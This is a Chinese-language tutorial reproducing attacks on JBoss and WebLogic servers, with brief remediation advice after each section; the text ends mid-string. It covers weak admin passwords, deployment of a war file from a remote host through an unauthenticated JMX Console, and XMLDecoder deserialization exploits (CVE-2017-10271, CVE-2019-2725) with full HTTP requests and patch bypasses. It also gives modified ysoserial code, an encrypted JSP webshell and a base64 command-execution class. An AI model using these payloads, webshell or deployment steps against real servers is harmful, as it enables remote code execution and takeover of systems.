<Connector port="8080" address="${jboss.bind.address}"         maxThreads="250" maxHttpHeaderSize="8192"     emptySessionPath="true" protocol="HTTP/1.1"     enableLookups="false" redirectPort="8443" acceptCount="100"     connectionTimeout="20000" disableUploadTimeout="true" />

訪問/jbossmq-httpil/HTTPServerILServlet,
返回This is the JBossMQ HTTP-IL,說明頁面存在,此頁面存在反序列化漏洞。

這裏直接利用CVE-2017-12149生成的ser,發送到/jbossmq-httpil/HTTPServerILServlet接口中。
如下:

修復建議:升級至最新版。

Administration Console 弱口令

Administration Console管理頁面存在弱口令,admin:admin,登陸後臺上傳war包。

1、點擊Web Application (WAR)s

2、Add a new resource,上傳war包

3、點擊創建的war包進入下一層,若狀態爲stop,點擊Start按鈕(默認都是start狀態,不需要點擊Start按鈕)

4、訪問http://xx.xx.xx.xx/[warname]/shellname.jsp

修復建議

1、修改密碼
C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

2、或刪除Administration Console頁面。
JBoss版本>=6.0,admin-console頁面路徑爲:C:\jboss-6.1.0.Final\common\deploy\admin-console.war
6.0之前的版本,路徑爲C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

JMX Console未授權訪問

JMX Console默認存在未授權訪問,直接點擊JBoss主頁中的JMX Console鏈接進入JMX Console頁面。

1、在JMX Console頁面點擊jboss.system鏈接,在Jboss.system頁面中點擊service=MainDeployer,如下

2、進入service=MainDeployer頁面之後,找到methodIndex爲17 or 19的deploy 填寫遠程war包地址進行遠程部署。

3、這裏我部署的war包爲lxh.war,鏈接如下:
http://192.168.31.205:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.31.205/lxh.war

4、訪問 http://xx.xx.xx.xx/[warname]/shellname.jsp

修復建議

  1. 增加密碼措施,防止未授權訪問。
    1)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml開啓安全配置。

2)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\web.xml開啓安全認證。

3)在C:\jboss-6.1.0.Final\server\default\conf\login-config.xml中可以看到JMX Console的用戶密碼配置位置。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
<application-policy name="jmx-console">  <authentication>    <login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"      flag="required">      <module-option name="usersProperties">props/jmx-console-users.properties</module-option>      <module-option name="rolesProperties">props/jmx-console-roles.properties</module-option>    </login-module>  </authentication>

4)配置用戶密碼以及用戶權限,這裏新增lxhsec用戶。

5)重啓JBoss,效果如下:

2.或刪除JMX Console,後重啓JBoss
C:\jboss-6.1.0.Final\common\deploy\jmx-console.war

6、WebLogic

WebLogic是美國Oracle公司出品的一個applicationserver,確切的說是一個基於JAVAEE架構的中間件,WebLogic是用於開發、集成、部署和管理大型分佈式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。

默認端口:7001

測試環境版本:10.3.6
下載地址:

https://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_win32.exe?AuthParam=1559386164_88cf328d83f60337f08c2c94ee292954

下載完成後雙擊運行,一直點下一步就ok了。

安裝完成之後,在

C:\Oracle\Middleware\user_projects\domains\base_domain

這個目錄雙擊startWebLogic.cmd啓動Weblogic服務。

瀏覽器訪問:http://127.0.0.1:7001/, 界面上出現Error 404–Not Found,即啓動成功。

設置外網訪問,在 域結構 -> 環境 -> 服務器
右邊選擇相應的Server(管理服務器),打開進行編輯,在監聽地址:中填入0.0.0.0,保存後,重啓Weblogic服務器即可。

以下復現若無特別說明均採用Weblogic 10.3.6

XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。

訪問 /wls-wsat/CoordinatorPortType
返回如下頁面,則可能存在此漏洞。

漏洞不僅存在於 /wls-wsat/CoordinatorPortType 。
只要是在wls-wsat包中的Uri皆受到影響,可以查看web.xml得知所有受到影響的Uri,路徑爲:C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml

默認受到影響的Uri如下:

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
/wls-wsat/CoordinatorPortType/wls-wsat/RegistrationPortTypeRPC/wls-wsat/ParticipantPortType/wls-wsat/RegistrationRequesterPortType/wls-wsat/CoordinatorPortType11/wls-wsat/RegistrationPortTypeRPC11/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11

構造 寫入文件 數據包發送,如下,其中Content-Type需要等於text/xml,否則可能導致XMLDecoder不解析。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1Host: 127.0.0.1:7001User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: text/xmlConnection: closeContent-Length: 629<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">    <soapenv:Header>    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">    <java>      <object class="java.io.PrintWriter">          <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>      <void method="println">    <string>          <![CDATA[      <% out.print("test777776666666"); %>          ]]>        </string>      </void>      <void method="close"/>      </object>    </java>    </work:WorkContext>    </soapenv:Header>    <soapenv:Body/></soapenv:Envelope>

訪問 /bea_wls_internal/test2.jsp,如下:

不熟悉JAVA的小夥伴們可能會對這個構造的XML有所疑惑,可以參考下這篇文章。

CVE-2017-3506的補丁加了驗證函數,補丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 驗證Payload中的節點是否存在object Tag。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
private void validate(InputStream is){      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();      try {         SAXParser parser =factory.newSAXParser();         parser.parse(is, newDefaultHandler() {            public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {               if(qName.equalsIgnoreCase("object")) {                  throw new IllegalStateException("Invalid context type: object");               }            }         });      } catch(ParserConfigurationException var5) {         throw new IllegalStateException("Parser Exception", var5);      } catch (SAXExceptionvar6) {         throw new IllegalStateException("Parser Exception", var6);      } catch (IOExceptionvar7) {         throw new IllegalStateException("Parser Exception", var7);      }   }

我們將object換成void就可繞過此補丁,產生了CVE-2017-10271。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">    <soapenv:Header>    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">    <java>      <void class="java.io.PrintWriter">        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>      <void method="println">    <string>          <![CDATA[      <% out.print("test777776666666"); %>          ]]>        </string>      </void>      <void method="close"/>      </void>    </java>    </work:WorkContext>    </soapenv:Header>    <soapenv:Body/></soapenv:Envelope>

修復建議

1)安裝補丁。
2)或刪除wls-wsat組件,再次訪問返回404.

  •  
  •  
  •  
  •  
1.刪除C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war2.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war3.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat4.重啓Weblogic

Note:wls-wsat.war屬於一級應用包,對其進行移除或更名操作可能造成未知的後果,Oracle官方不建議對其進行此類操作。

Weblogic wls9_async_response,wls-wsat 反序列化遠程代碼執行漏洞(CVE-2019-2725)

影響組件:bea_wls9_async_response.war, wls-wsat.war
影響版本:10.3.6.0, 12.1.3.0

bea_wls9_async_response.war

訪問 /_async/AsyncResponseService
返回如下頁面,則可能存在此漏洞。

漏洞不僅存在於 /_async/AsyncResponseService
只要是在bea_wls9_async_response包中的Uri皆受到影響,可以查看web.xml得知所有受到影響的Uri,路徑爲:
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml

默認受到影響的Uri如下:

  •  
  •  
  •  
/_async/AsyncResponseService/_async/AsyncResponseServiceJms/_async/AsyncResponseServiceHttps

wls-wsat.war受影響的URI見XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

此漏洞實際上是CVE-2017-10271的又一入口,那麼它是怎麼繞過CVE-2017-10271的補丁,執行REC的呢。

先來看一下CVE-2017-10271的補丁代碼:

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException {            if(qName.equalsIgnoreCase("object")) {               throw new IllegalStateException("Invalid element qName:object");            } else if(qName.equalsIgnoreCase("new")) {               throw new IllegalStateException("Invalid element qName:new");            } else if(qName.equalsIgnoreCase("method")) {               throw new IllegalStateException("Invalid element qName:method");            } else {               if(qName.equalsIgnoreCase("void")) {                  for(int attClass = 0; attClass < attributes.getLength();++attClass) {                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))){                        throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass));                     }                  }               }               if(qName.equalsIgnoreCase("array")) {                  String var9 =attributes.getValue("class");                  if(var9 != null &&!var9.equalsIgnoreCase("byte")) {                     throw new IllegalStateException("The value of class attribute is notvalid for array element.");                  }

其中CVE-2017-3506的補丁是過濾了object,CVE-2017-10271的補丁是過濾了new,method標籤,且void後面只能跟index,array後面可以跟class,但是必須要是byte類型的。
繞過CVE-2017-10271補丁是因爲class標籤未被過濾所導致的,這點我們可以從Oracle 發佈的CVE-2019-2725補丁看出來,
CVE-2019-2725補丁新增部分內容,將class加入了黑名單,限制了array標籤中的byte長度。如下:

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
else if (qName.equalsIgnoreCase("class")) {               throw new IllegalStateException("Invalid element qName:class");}else {       if (qName.equalsIgnoreCase("array")) {          String attClass = attributes.getValue("class");          if (attClass != null && !attClass.equalsIgnoreCase("byte")) {             throw new IllegalStateException("The value of class attribute is not valid for array element.");          }          String lengthString = attributes.getValue("length");          if (lengthString != null) {             try {                int length = Integer.valueOf(lengthString);                if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {                   throw new IllegalStateException("Exceed array length limitation");                }                this.overallarraylength += length;                if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {                   throw new IllegalStateException("Exceed over all array limitation.");                }             } catch (NumberFormatException var8) {

 

復現:Weblogic 10.3.6 利用oracle.toplink.internal.sessions.UnitOfWorkChangeSet構造函數執行readObject().

構造函數參考:

  •  
  •  
  •  
  •  
  •  
  •  
  •  
public UnitOfWorkChangeSet(byte[] bytes) throws java.io.IOException, ClassNotFoundException {  java.io.ByteArrayInputStream  byteIn = new java.io.ByteArrayInputStream(bytes);  ObjectInputStream objectIn = new ObjectInputStream(byteIn); //bug 4416412: allChangeSets set directly instead of using setInternalAllChangeSets  allChangeSets = (IdentityHashtable)objectIn.readObject();    deletedObjects = (IdentityHashtable)objectIn.readObject();    }

UnitOfWorkChangeSet的參數是一個Byte數組,因此我們需要將Payload轉換爲Byte[].

利用ysoserial生成Payload

  •  
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar Jdk7u21 "cmd /c echo lxhsec > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/echoxxxxx.txt" > payload.txt

然後使用下列代碼,將Payload進行轉換成Byte[]

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
import java.beans.XMLEncoder;import java.io.*;public class Test{    public static void main(String[] args) throws Exception {        File file = new File("C:\\Users\\lxhsec\\Downloads\\JRE8u20_RCE_Gadget-master\\exploit.ser");        //讀取ysoserial文件生成的payload        FileInputStream fileInputStream = new FileInputStream(file);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream((int) file.length());        int buf_size=1024;        byte[] buffer=new byte[buf_size];        int len=0;        while(-1 != (len=fileInputStream.read(buffer,0,buf_size))){            byteArrayOutputStream.write(buffer,0,len);        }        BufferedOutputStream oop = new BufferedOutputStream(new FileOutputStream(new File("C:\\Users\\lxhsec\\Downloads\\ysoserial-master\\target\\result.txt")));        //使用jdk的xmlencoder把byte數組寫入到 result.txt        XMLEncoder xmlEncoder = new XMLEncoder(oop);        xmlEncoder.flush();        xmlEncoder.writeObject(byteArrayOutputStream.toByteArray());        xmlEncoder.close();        byteArrayOutputStream.close();        fileInputStream.close();    }}

拼接Payload

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 127.0.0.1:7001User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0Accept:*/*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeContent-Type: text/xmlContent-Length: 178338<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">      <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>//此處填寫上面生成的XML。</void></class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

效果:

使用ysoserial生成的只能適用於Windows平臺,如果在Linux平臺使用,則又要進行一次編譯,兼容性有點不太好,因此我們可以
將ysoserial稍稍的進行更改。

這裏我們將ysoserial的Gadgets.java文件進行更改。路徑爲:ysoserial-master\src\main\java\ysoserial\payloads\util\Gadgets.java.

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
 public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )          throws Exception {      final T templates = tplClass.newInstance();      // use template gadget class      ClassPool pool = ClassPool.getDefault();      pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));      pool.insertClassPath(new ClassClassPath(abstTranslet));      final CtClass clazz = pool.get(StubTransletPayload.class.getName());// ---StartString cmd = "";      if(command.startsWith("filename:")) {          String filename = command.substring(9);          try {              File file = new File(filename);              if (file.exists()) {                  FileReader reader = new FileReader(file);                  BufferedReader br = new BufferedReader(reader);                  StringBuffer sb = new StringBuffer("");                  String line = "";                  while ((line = br.readLine()) != null) {                      sb.append(line);                      sb.append("\r\n");                  }                  cmd = sb.toString();              } else {                  System.err.println(String.format("filename %s not exists!", filename));                  System.exit(0);              }          } catch (IOException e) {              e.printStackTrace();          }      }else {  // run command in static initializer  // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections          cmd = "java.lang.Runtime.getRuntime().exec(\"" +                  command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +                  "\");";      }System.err.println(cmd);  // ---end
      clazz.makeClassInitializer().insertAfter(cmd);      // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)      clazz.setName("ysoserial.Pwner" + System.nanoTime());      CtClass superC = pool.get(abstTranslet.getName());      clazz.setSuperclass(superC);      final byte[] classBytes = clazz.toBytecode();      // inject class bytes into instance      Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {          classBytes, ClassFiles.classAsBytes(Foo.class)      });      // required to make TemplatesImpl happy      Reflections.setFieldValue(templates, "_name", "Pwnr");      Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());      return templates;  }

 

保存後重新編譯mvn clean package -DskipTests.

編譯使用的是JDK1.8,修改後的ysoserial,將命令執行,轉換成了代碼執行。整個兼容兩邊平臺的代碼TestCode.txt。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
//TestCode.txtString WEB_PATH = "servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/echolxhsec.jsp";String ShellContent = "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null){String k=(\"\"+UUID.randomUUID()).replace(\"-\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>";try {  java.io.PrintWriter printWriter = new java.io.PrintWriter(WEB_PATH);  printWriter.println(ShellContent);  printWriter.close();} catch (Exception e) {  e.printStackTrace();}

執行:

  •  
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "filename:C:\Users\lxhsec\Desktop\TestCode.txt" > result.txt

reuslt.txt轉換成Byte[]後執行,如下:

訪問:http://127.0.0.1:7001/_async/echolxhsec.jsp

Weblogic 12.1.3 利用org.slf4j.ext.EventData構造函數執行readObject().

oracle.toplink.internal.sessions.UnitOfWorkChangeSet在Weblogic 12.1.3中不存在,因此需要重新找利用鏈。

Weblogic的黑名單隻會過濾傳入的第一層XML,使用org.slf4j.ext.EventData傳入的第一層XML是String,因此繞過黑名單檢測。

構造函數參考

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
public EventData(String xml) {  ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes());  try {   XMLDecoder decoder = new XMLDecoder(bais);   this.eventData = (Map<String, Object>) decoder.readObject();  } catch (Exception e) {   throw new EventException("Error decoding " + xml, e);  }}

構造寫入文件Payload,如下。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
POST /_async/AsyncResponseService HTTP/1.1Host: 192.168.124.129:7001User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeContent-Type: text/xmlContent-Length: 962<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">      <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java>        <object class="java.io.PrintWriter">             <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>       <void method="println">       <string>lxhsecTest</string>       </void>       <void method="close"/>      </object>      </java>]]></string></void></class></void></class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

結果:

wls-wsat.war

Weblogic 10.3.6 回顯構造.

bea_wls9_async_response.war的反序列化鏈無法造成回顯,但是wls-wsat.war的卻可以。

訪問:/wls-wsat/CoordinatorPortType

以下測試均在 JDK 1.6.0_45 64bit 下進行。

拿lufei大佬的工具改改。

這裏我直接使用lufei的工具,發現 > 等特殊字符,會被當成字符串。

這裏將工具的exec函數更改,如下:

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
import java.io.*;public class ResultBaseExec {    public static String exec(String cmd) throws Exception {        String osTyp = System.getProperty("os.name");        Process p;        if (osTyp != null && osTyp.toLowerCase().contains("win")) {            //執行命令//            p = Runtime.getRuntime().exec("cmd /c " + cmd);            p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});        }else{            //執行命令//            p = Runtime.getRuntime().exec("/bin/sh -c " + cmd);            p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});        }        InputStream fis=p.getInputStream();        InputStreamReader isr=new InputStreamReader(fis);        BufferedReader br=new BufferedReader(isr);        String line=null;        String result = "";        while((line=br.readLine())!=null)        {            result = result + line;        }        return result;    }}

 

編譯成.class文件
"C:\Program Files\Java\jdk1.6.0_45\bin\javac.exe" C:\Users\lxhsec\Downloads\WeblogicCode\src\main\java\ResultBaseExec.java

接着將.class轉換成Base64,當然你轉成hex這些也可以。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
import sun.misc.BASE64Encoder;import java.io.ByteArrayOutputStream;import java.io.FileInputStream;import java.io.IOException;import java.io.InputStream;public class toBase64 {    public static byte[] toByteArray(InputStream in) throws IOException, IOException {        ByteArrayOutputStream out = new ByteArrayOutputStream();        byte[] buffer = new byte[1024 * 4];        int n = 0;        while ((n = in.read(buffer)) != -1) {            out.write(buffer, 0, n);        }        return out.toByteArray();    }    public static void main(final String[] args) throws Exception {        BASE64Encoder base64Encoder = new BASE64Encoder();
    //class文件路徑        InputStream in = new FileInputStream("C:\\Users\\lxhsec\\Downloads\\WeblogicCode\\src\\main\\java\\ResultBaseExec.class");        byte[] data = toByteArray(in);        in.close();        String encode = base64Encoder.encodeBuffer(data);        System.out.println(encode);    }}
  •  
yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8YAKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02nABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp//fGQewAAAAAgAeAAAAMgAMAAAABQAGAAcAFgAJADIADABLAA4AUAAPAFoAEABlABEAaAASAGwAEwB3ABUAkAAXACEAAAAuAAT8ADIHACL8ABgHACP/ACAACAcAIgcAIgcAIwcAJAcAJQcAJgcAIgcAIgAAIwAnAAAABAABACgAAQApAAAAAgAq

 

生成之後使用test_code測試,發現>被解析成了我們想要的。

替換

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
clazz.makeClassInitializer()        .insertAfter(""                + "String ua = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader(\"lfcmd\");\n"                + "String R = \"yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8YAKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02n